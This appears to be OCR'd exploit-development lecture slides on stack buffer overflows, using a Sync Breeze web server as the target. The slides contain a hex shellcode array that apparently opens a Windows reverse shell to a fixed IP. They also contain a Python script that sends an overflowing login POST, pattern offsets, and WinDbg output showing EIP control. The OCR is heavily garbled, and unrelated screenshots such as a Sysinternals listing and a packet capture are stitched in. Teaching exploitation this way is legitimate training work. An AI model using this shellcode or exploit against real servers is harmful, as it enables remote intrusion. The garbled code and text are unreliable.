[55] pslistd
[#5]PsLoggedon
[8Z]|PsLoggedonbd
[2=] psloglist
[2=] psloglistsd
(=] pspasswd
[2=] pspasswdbd
[ psping

[5=] psping64
[#=] PsService
[85] PsServicetd
[#5] psshutdown
[85] pssuspend
[8=] pssuspendts
@Pstnols

|:| psversicn
I_HRAMMap
|:| readme
[2=|RegDelMull
[5Z|RegDelMullsd
[5=] regjump
[#=lru

(== rubd
[#z]sdelete
[#z]sdleletend

i3 ShareEnum
%ShellRunas
[a5]sigcheck
[a5]sigchecktd
[#Z]streams
[8=] strearnstd
[#5]strings
[85] stringsb4
[8=]syne

(25| synchd
[2=]Sysmon
[2=] SysmonBd
g Tepveon
E—thpview
&Tcpview
@ TCPviEW
[85] Testlimit
[8=] Testlimitsd

@meap
I_I_ll.rmmap

[ Volumeid
(5] Volumeidad
[#5|whois

(5] whoisB4

(£ Winobj

© winoB)
;ZDDH"IHZ
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nark

M to-netilix-problems-2011-07-06.pcap — O X
File Edit View Go Capture Analyze Statistics Telephony  Wireless  Tools  Help
4m 1@ REQRes=F s5EHaaan
[ll;‘appl'-;adispla'-; filter ... <Ctrl-/> =3 ~| Expression.. | +
Mo. Time Source Destination Protocol Length  Info
i 343 65.142415 192.168.8.21 174.129.249.228 TCP 66 48555 + 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ T5val=491519346 TSecr=551311827
E 344 £5.142715 192.168.0.21 174.129.249.228 HTTP 253 GET /fclients/netflix/flash/application.swf?flash_version=flash_lite_ 2.18wv=1.5&nr
i 345 ©5.23@8738 174,129,249 228 192.168.8.21 TCP 66 BB - 48555 [ACK] Seq=1 Ack=188 Win=6864 Len=8 TSval=551811858 TSecr=491519347
i 346 65.248742 174.129.249.228 192.168.6.21 HTTP 828 HTTP/1.1 382 Moved Temporarily —
i 347 £5.241592 192.168.8.21 174.1259,249,228 TCP G6 48555 + 3@ [ACK] Seq=188 Ack=763 Win=7424 Len=8 TSval=49151944% TSecr=551811852 |
348 65.242532 192.168.8.21 192.168.8.1 DNS 77 Standard query 8x2188 A cdn-8.nflximg.com
¢ 349 65.27687@ 192.168.8.1 192.168.8.21 DNS 489 Standard query response @x2188 A cdn-8.nflwimg.com CNAME images.netflix.com.edge
! 358 65.277992 192.168.8.21 63.8@.242.48 TCP 74 37863 + 3@ [SYN] Seq=8 Win=5348 Len=08 M55=146@ SACK_PERM=1 TSwval=491519482 TSecr—j
i 351 ©5.297757 6£3.80.242.48 192.168.8.21 TCP 74 BB - 37863 [SYN, ACK] Seq=@ Ack=1l Win=5792 Len=@ M55=146@8 SACK_PERM=1 TSval=3295—}
i 352 65.298396 192.168.8.21 63.8@.242.48 TCP 66 37863 + 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ T5val=491519582 TSecr=329553413@ =
i 353 £5.298687 192.168.8.21 63.8@.242.48 HTTP 153 GET fus/nrd/clients/flash/814548.bun HTTP/1.1 —
i 354 ©5.31873@ 6£3.80.242.48 192.168.8.21 TCP 66 BB - 37863 [ACK] Seq=1 Ack=88 Win=5792 Len=8 TS5val=3295534151 TS5ecr=491519583 [
i 355 65.321733 63.86.242.48 192.168.6.21 TCP 1514 [TCP segment of a reassembled PDU] .T
< >
» Frame 349: 439 bytes on wire (3912 bits), 489 bytes captured (3912 bits) ~
» Ethernet II, Src: Globalsc_@@:3b:@a (f@:ad:4e:@8:3b:@a), Dst: Vizie 14:8a:el (@@:19:9d:14:3a:el)
» Internet Protocol Version 4, Src: 192.168.8.1, Dst: 192.168.8.21
» User Datagram Protococl, Src Port: 53 (53), Dst Port: 34836 (34836)
% Domain Name System (response)
Request In: 348
[Time: 2.8343388@8 seconds]
Transaction ID: @x2188
» Flags: @x8188 Standard gquery response, No error
Questions: 1
Answer RRs: 4
Authority RRs: 9
Additicnal RRs: 9
“ Queries
» cdn-8.nflximg.com: type A, class IN
> Answers
» Authoritative nameservers v
@B 15 @B 35 84 T4 @1 c7 83 3f PBE: 81 80 88 81 S 2L ~
B8 B4 @0 @9 B8 @9 85 63 64 Ge 2d 3@ 87 Be 66 BC ....... c dn-8.nfl
78 69 6d 67 83 63 6T 6d 8@ 88 81 8@ 8l <o Bc ee ximg.com ........
@5 B8 @1 @@ 8@ @5 29 @@ 22 86 69 6d Bl 67 65 73 ...... ). ".images
@7 6e B5 74 66 6c 69 78 83 63 6f 6d 89 65 64 67 .netflix .com.edg
ge7e 65 73 75 69 74 65 83 Be 65 74 8@ c@ 2f @e es ee esuite.n et../... w
@ 7

Identification of transaction (dns.id), 2 bytes

|| Packets: 10293 - Displayed: 10229 (100.0%) * Load time: 0:0.182 || Profile: Default
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Smashing The Stack For Fun And Profit
KOXGOOGOOCOOOGOOCOOOCOCGOCOOOOOOGOONKK

by Aleph One
alephlgunderground.org

“smash the stack™ [C programming] n. On many C implementations

it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle

the stack; the term mung the stack is not used, as this is

never done intentionally. See spam; see also alias bug,

fandango on core, memory leak, precedence lossage, overrun screw.

Introduction

aver the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.

Basic knowledge of assembly is required. An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays. Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at load
time on the data segment. Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.

) ..: Phrack Magazine ::.
https://phrack.org > issues 3§

Smashing The Stack For Fun And Profit

Nov 8, 1996 — This paper attempts to explain what buffer overflows are, and how their exploits work.
Basic knowledge of assembly is required.
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Stack Overflows Introduction

The following is a very basic C source code for an application
vulnerable to a buffer overflow.

In this case, the main function first defines a character array named
buffer that can fit up to 64 characters. Since this variable is defined
within a function, the C compiler will treat it as a local variable and
will reserve space (64 bytes) for it on the stack. Specifically, this
memory space will be reserved within the main function stack frame
during its execution when the program runs. As the name suggests,
local variables have a local scope, which means they are only
accessible within the function or block of code they are declared in.
In contrast, global variables are stored in the program .data section,
a different memory area of a program that is globally accessible by
all the application code.

14/10/2025

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

{

char buffer[64];
if (argc < 2)
{

printf("Error - You must supply at least one argument\n");

return 1;

strcpy(buffer, argv[1]);

return @;

32



Stack Overflows Introduction
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Before StrCpy

Copy with 32 A's

Copy with 80 A's

StrCpy destination address

StrCpy destination address

StrCpy destination address

StrCpy source address

Reserved char buffer memory

Reserved char buffer memory

Reserved char buffer memory

Reserved char buffer memory

Return address of main

Main parameter 1

Main parameter 2

StrCpy source address StrCpy source address
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
Reserved char buffer memory AAAAAAAAAAAAAAAA
Reserved char buffer memory AAAAAAAAAAAAAAAA
Return address of main AAAA
Main parameter 1 AAAA
Main parameter 2 AAAA
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Stack Overflows Introduction

When a function ends its execution, the return address is taken from
the stack and used to restore the execution flow to the calling
function. In our basic example, when this happens for the main
function, the overwritten return address will be popped into the
Extended Instruction Pointer (EIP) CPU register.

At this point, the CPU will try to read the next instruction from
Ox41414141 (Ox41 is the hexadecimal representation of the ASCII
character "A"). Since this is not a valid address in the process memory
space, the CPU will trigger an access violation, crashing the
application.

The EIP register is used by the CPU to direct code execution at the
assembly level. Therefore, obtaining reliable control of EIP would
allow us to execute any assembly code we want and eventually
shellcode to obtain a reverse shell in the context of the vulnerable
application.

14/10/2025

StrCpy destination address

StrCpy source address

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAN

AAAR

AAAA

AAAA

34



Shellcode

Shellcode is a set of CPU instructions meant to be
executed after a vulnerability is successfully exploited.
Shellcode is generally written in the assembly
language first, and then ftranslated into the
corresponding hexadecimal opcodes, which can be
used to directly manipulate CPU registers, and call

system functions.

14/10/2025

unsigned char shellcode[] =

"\xfc\x48\x83\xe&\xfO\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xco\x48\x8b\x72\x50\x48\x0f"
"\xb7\x&a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x&1"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\X74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50\x8b\x48\x18\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9"
"\x48\x01\xd6\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe@\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x&1\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x&1\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x&b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xeb6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x23\x29\x0a\x00\x03\x04\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xcO\x48\xff\xcO\x48\x89\xc2\x48\xff\xcO\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe@\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xfo\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc@\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xas\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xfO\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xdg9"
"\xc8\x5F\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
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e -

a s < Reverse shell

Attack Machine

Target server

Target server
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BOF with POC

B conc Breeze Client — O >
F Ti - Register -
Connect Delete Layouts  Options Help
s =l 1 - M Ll ke
= Sync Breeze Enterprise Options x
General Server User Name: |admin |
Advanced Server Password: T |
L::L Server i =
. Server Control Port: |9121 =
E-Mail =
Enable Web Server on Port: |BD =
m Rules
= ] Enable Parallel Batch Tasks: 1 =
=
Exclude
(] Enable Mative Authentication: Client-Side User Authentication -
iTi Shaorteuts =
Dat
@ 31/ [ save Canicel
@ 3/
@ 31/)an/2025  04d1:22 admin@client - Connected = Completed 0
[ Failed 0
= Tasks 0

&) Connected To: admin@localhost
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14.

VCoNOOTUTE WNBRE

#!/usr/bin/python
import socket
import sys

try:

server = "192.168.194.10"
port = 80
size = 1600

inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101

Firefox/52.0\r\n"

15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.

buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"

buffer += b"Referer: http://10.11.0.22/login\r\n"

buffer += b"Connection: close\r\n"

buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"

buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"

buffer += b"\r\n"

buffer += content

print("Sending evil buffer...")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))

s.send(buffer)

s.close()

print("Done!")

except socket.error:

print("Could not connect!")
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Attach and send exploit

@ WinDbg:10.0.18362.1 X86

File Edit Wiew Debug Window Help

||« s ERREEE

Sending evil buffer...

Did Attach to Process >
_O -6672 =wvchost  exe '
Re -6516 TmiApSrv. exe % I
2692 ApplicationFrameHo=st  ezxe [I I | | I i—l
4 L = [

-7000 WinStore. App.exe
-7176 BEuntimeBroker . exe

- 7248 wuapihost exe

- 7280 Sy=temnSettings . exe
-6168 csr==.exe

-1932 winlogon . exe

6428 LogonlUl. exe

-7140 dwm . exe

- 4772 fontdrvhost exe

- 7372 rdpclip.exe

-6348 =vchost . exe

#- 6544 CompatTelRunner . exe
7564 =vncbrs. exe

6456 =yvncbrc.exe

-- 8048 =martscreen. exe
{ | B-4972 SnippingTool exe
ca #- 5572 backgroundTaskHost . exe
| Sont
(®) System order () By D O
Process ID:
17564

] Moninvasive

Cancel Help

14/10/2025



41414141

3 pid 5096 - WinDbg:10.0.18362.1 X86
File Edit View Debug Window Help

| &= | Bl H = B¢ O HEEEEREEDOBE] ] A

Oﬁsaﬂ@SSCDpeip

Ho ﬁrior disassemhli iossible

41414142 7 777
41414143 77 7?7
41414144 77 7?7
41414145 7 777
41414146 2?7 777
41414147 2?7 7?7
41414148 ?7 7?7
41414149 77 7?7
41414145 7?7 7?7
4141414L 7?7 777
4141414 7?7 7?7
41414144 77 7?7
4141414 ?7 7?7
4141414 27 77
41414150 ?7 777
41414151 77 7?7
41414152 7 7?7
41414153 ?7 777
41414154 77 77
0:010> g

(1328 .£0): Access violation — code 0000005 {first chance)

First chance exceptions are reported before any exception handling.

Thi= exception may be expected and handled.

=ax=00000001 sbz=00000000 =cx=006%9a763 ed=z=0000034f ==si=00692896 =di=00=13570
2ip=41414141 e=p=01d4745c ebp=0068cf48 iopl=0 nv up i pl nz na po nc

Memory

Virtual: |esp

Display format: | Long Hez

~ | || Previous Neset

B[

[01d4745¢c
01d4748c
01d474be
01d47dec
01d4751c
01d4754c
01d4757c
01d475ac
01d475dc
01d4760c
01d4763c
01d4766c
01d4769c
01d476cc
01d476fc
01d4772c

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
gooooooo
ooooooon
nooooonon

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
aooooonn

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
aoooooon

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
aooooooo
ooooooon
aooooooo

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
gooooooon
ooooooon
goooooon

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
oooooonn

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
aoooooon

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
gooooooo
ooooooon
gooooooo

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
gooooooon
ooooooon
goooooon

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
oooooonn

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
goooooon
ooooooon
aooooonn

4141414 &
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
4141414
gooooon
aooooon
oooooon
0ooooon Y

c==001b  ss=0023 ds=0023 e==0023 f==003b g==0000 ef1=00010202
41414141 22 297

e———

[0:001s |

Savant Web Server

14/10/2025

Ln0, Col® SysO:<Local>

Proc 000:13e8 Thrd 001:f0

ASM  OVR  CAPS NUM

41



overflooooooooow

StrCpy destination address

StrCpy destination address

StrCpy source address

StrCpy source address

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

Reserved char buffer memory

AAAAAAAAAAAAAAAA

Reserved char buffer memory

AAAAAAAAAAAAAAAA

Return address of main

AAAA

Main parameter 1

Main parameter 2

14/10/2025
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which A?

14/10/2025

de Bruljn sequence

Ma 11 languages

Article Talk

From Wikipedia, the free encyclopedia

Not to be confused with the Moser—de Bruin sequence, an integer sequence from number theory.

In combinatorial mathematics, a de Bruijn sequence of order n on a size-k alphabet A is a cyclic sequence in which every
possible length-n string on A occurs exactly once as a subsiring (i.e., as a configuous subsequence). Such a sequence is

denoted by B(k, n) and has length k", which is also the number of distinct strings of length n on A. Each of these distinct strings,

when taken as a substring of B(k, ), must start at a different position, because substrings starting at the same position are not
distinct. Therefore, B(k, n) must have af least k7 symbols. And since B(k, n) has exactly k” symbols, de Bruijn sequences are
optimally short with respect to the property of containing every string of length n at least once.

The number of distinct de Bruijn sequences B(k, n) is

n—1
(k1"
ko
For a binary alphabet this is 22{1*_1] " leading to the following sequence for positive n: 1, 1, 2, 16, 2048, 67108864. ..
(OEIS: AD16031)

The sequences are named after the Dutch mathematician Nicolaas Govert de Bruijn, who wrote about them in 1946 11 As he
later wrote,[z] the existence of de Bruijn sequences for each order together with the above properties were first proved, for the
case of alphabets with two elements, by Camille Flye Sainte-Marie (13894). The generalization to larger alphabets is due to
Tatyana van Aardenne-Ehrenfest and de Bruijn (1951). Automata for recognizing these sequences are denoted as de Bruijn
automata.

In many applications, A ={0,1}.

Read Edit View history Tools w

Alphabet: {0, 1}
Subsegquence length: 2

Subsequences:

0,0} {1, 0}
—{, 1}_‘ I—{l 1}

De Bruijn seq ue nce:

{0,0,1, }
‘-v—'
The de Bruijn sequence for &

alphabet size k = 2 and substring
length n = 2. In general there are many
sequences for a particular n and & but
in this example it is unique, up to
cycling.
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AaOAalAa?2

sf-pa rn_create -1 1600
-aﬂAa1AaEAaHAa4Aa5AaEAa?AaEAaHAhﬂAhlﬂhzﬂhHAhﬁﬂhEAhEAh?AhEAhﬂAcﬂAc1AcEAcHAcﬁﬂcﬁﬂcEAc?AcEAcQAdﬂAd1Ad2Ad3AdﬁAd5AdﬁAd?AdE
Ad0AeDAelAe2Ae3AebiAeSAebAeTAcBAcOATOATIAT2ATIAT4ATSATOATTATBATOAZDAE1AE2AE3AELAE5AE0AETAEBAE9ANDARIAR2AR3ARLARSARGANT
Ah8Ah9A10A11A12A13A14A15A16A1TA1BA19AI0A]1AJ2AI3A]4A]S5AI6A]TAIBATOAKDAKIAK2AKIAKLAKSAKGBAKTAKBAKOATOATIALZAT3ALLALSALG
AL7ALBAL9AMOAMIAMZ Am3Am4AMSAMEAMT AmEAMIANDANIANZAN3ANSANSANGAN7ANBANOADDADIAD2AD3A04A05A06A0TA0BA09APDAPI1AP2ZAP3APLApPS
ApBAp7ApBAPYAQDAQL1AQ2AQ3AQL4AGSAQBAQTAQBAQOATrRATr 1A 2Ar AT 4ATSATBArTATrBAr9ASOAS1AS2AS3ASL4ASEASOASTASBASOATDATIAT2ATIALS
ATSATBATTATBATIAURAUIAUZAU3AUSAUSAUBALUTAUBAUIAVRAVIAVZAVIAVLAVIAVEAVTAVBAVIAWDAWIAWZ AW3AWLEAWS AWEAWTAWBAWIAXDAX1AX2AX3
Ax4AXSAXOAXTAXBAXIAYDAY1AY2AY3AYLAYSAYOAYTAYBAYOAZOAZ1AZ2AZ3AZ4AZ5AZ6AZTAZBAZOBa0BalBa2Ba3BasBabBabBa7Ba8Ba9Bb@Bb1Bb2
Bb3Bb4Bb5Bb6Bb7Bb8Bb9BCc@BCc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be@Be1Be2Be3Be4Be5Be6Be7Be8Be9BfOBT1
Bf2Bf3Bf4Bf5Bf6Bf7BfE8BfOBg0Bg1Bg2Bg3Bg4Bg5Be6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7BhEBh9B10B11B12B13B14B15B16B17B18B19B )0
BJ1Bj2B]j3Bj4B]5B]6B]78]8B]9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7BKE8BKI9BLOBL1B12B13B14B15B16B17B18B19Bm@Bm1Bm2Bm3Bm4Bm5Bm6Bm7 Bm8Bm9
En@BnlEn2Bn3En4Bn5Bn6En7BEn8ENS9Bo0EBo1Bo2Bo3Bo4Bo5Bo6Eo/BoEE0OBpOEp1Bp2Ep3Bp4EpSEBpEEp7EpEEp9Eq@Bql1Eq2Bq3Bq4Bq5Bq6Bq7Eq8
Bq9BroBriBr2Br3Br4Br5BreBr7Br8Br9eseBs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8B19BuOBul1Bu2ZBu3Bu4BusBubBu?
BuS8Bu9BveBv1Bv2Bv3Bv4Bv5BveBv7BvEBVIBWOBW1EBW2 Bw3Bwi4BwSBWOBW7BwEBWIBX0BX1BX2BXx3Bx4BXx5BXx6BX7BX8BXx9By0By1By2By3By4By5By6
By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0CalCa2Ca3Ca4Cas5CabCa7Ca8Ca9Ch@ChliCh2C

14/10/2025
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offset

14/10/2025

inputBuf b"AaOAalAa2Aails abAa7AaBAa?Ab0AblAb2Ab3Ab4AL

content 1"username=" + 1nput 1" &password=A"

0010 g

(374 .1£78): Accesz violation — code 0000005 (first chance)

Fir=st chance exceptionz are reported before any exception handling.

Thi= exception may be expected and handled.

eax=00000001 =bx=00000000 ecx=004£f{d429b =edx=0000034f e=i=004£417= edi=00dd3570

eip=42306142 e=p=01b0745c ebp=004cbc50 i1opl=0 nv up =i pl ng na po nc
c==001h ===0023 d==0023 e==0023 f{f==003b g==0000 efl=00010202
42306142 7 Y

——

-0 42300142

[*] Exact match at nFFset 780
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BBBB

14/10/2025

server
port =
slze =
buf = b
buf +=
buf +=

content

1
H

|:] 11 E] 11 +

b"C

"ok -

L8

h"username="

-+

(buf))

hut +

) "&passwonrc

|
—_
|=A

46



it's all coming together

14/10/2025

& Pid 6684 - WinDbg:10.0.18362.1 X86 — x
File Edit View Debug Window Help
=2 [0 = =h] & o @ OB & EE G E B E | A
Offset:|@$scopeip Virtual: |e=sp Display format: | Long Hex ~ | || Previous Mest
No pricr disassembly possible 0lcc?45c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434 A
: 0lcc?48c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424243 77 77 Olcc74bo 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424244 77 77 Olocc?d4ec 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 77 01lcc?51c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 77 0lcc?S4c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424247 77 77 01lcc?S7c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424249 77 77 0lcc?Sac 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424249 77 77 0lcc?5de 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424245 77 7 Olcc?60c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424b 77 77 0lcc?63c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424c 77 7 Olocc?66c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424244 77 77 0lcc?69c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424242 77 77 Olocc?oocc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
4242424% 77 77 Olocc?efc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424250 77 77 0lcc?72c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
42424251 77 77 0lcc?75c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 0000000
42424252 77 77 01cc?78c 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 OOOQOO0000 0000000
42424253 77 7 01cc?7be 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000
42424254 77 77 0lec??ec 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0000000 ™
42424255 77 s < >
Command n
0:010> g
(lalc.lfd4): Access wiolation — code c0000005 (first chance)
First chance exceptions are reported hefore any exception handling.
This exception may be expected and handle
=ax=00000001 =bx=00000000 ecx=004ceS59% edx 0000034f e=si=004cicle edi=00d493570
eip=42424242 e=p=01cc?45c ebp=004c0850 iopl=0 nv up =i pl nz na po nc
cs=001b ===0023 d==0023 e=s=0023 f{=s=003b g=s=0000 efl=00010202
ﬁ2424242 7Y s
|
[o:010s |
Ln0, Col 0 | Sys(:<Local> Proc000:1alc  Thrd 010:1fd4 ASM OVR CAPS MNUM
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Sanity check

Command

0:010: dd
lc=740c
llcc=741c
lc=742c
0lc=74 30
llcc=744c
0lz=745c
llccY46c
0lo=74 7o

0:010> g

ezp—0nid0

41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
43434343 434343543
45454543 434543543
43434343 434343543

41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
42424242 4353434343
43434343 43434343
43454545 45434543
43434343 43434343

(lalc.1fd4): Access wiolation — code 0000005 (first chance)

Fir=t chance ezceptions are reported before any exception handling.
Thi= exception may be expected and handled.
eax=00000001 =bx=00000000 ecx=004ceS9bh edx=0000034f ==i=004c?cle =di=00d493570
eip=42424242 e=p=01lcc?45c ebp=004=0850 iopl=0

c==001b ===0023

l42424242 7

14/10/2025

d==0023 e==00213

Y

f==003k g==0000

nv up 21 pl KE na po nc
efl=00010202

0:010 dd=s esp-0xZ0 110

0lc=74 30
0lc=7 440
0lc=7444
Jlc=7 448
0lcc=Y44c
0lc=7 450
01lc=7454
0lc=7458
01lc=Y 45
Jlc=7 460
0lc=7 464
Jlc=7 4648
0lcc=Yd6c
017470
0lc=7474
017478

41414141
41414141
41414141
41414141
41414141
41414141

Before EIP

424724247 =—p EIP

434545457

43454345
43454345
43454345
45454545
43454345
43454343
43454345

43434345

o After EIP
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ESP changes?

14/10/2025

Virtual: |e=p

Ulc=?45c
Ul 480
Ulcc? 4bo
Ulcc? dec
UlccY51c

45434543
45434543
45434543
45434543
454343543

454343545
454343545
454343545
454343545
454343545

454343545
4534343545
4534343545
4534343545
453434345

43434543
43434543
43434543
43434543
43434543

43434543
43434543
43434543
43434543
43434543

Virtual: |e=sp

01b=7 45z
Ulb=7 48
Ulb=74bo
Ulb=Ydec
01b=751c

434343543
434354543
453434345
43434343
434343543

434343543
413434543
45343534343
434343543
434343543

434343543
4134354543
454343545
43434543
434343543

43434543
413434543
453434345
43434543
43434543

43434543
413454543
454343545
434343543
43434543
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JMP ESP

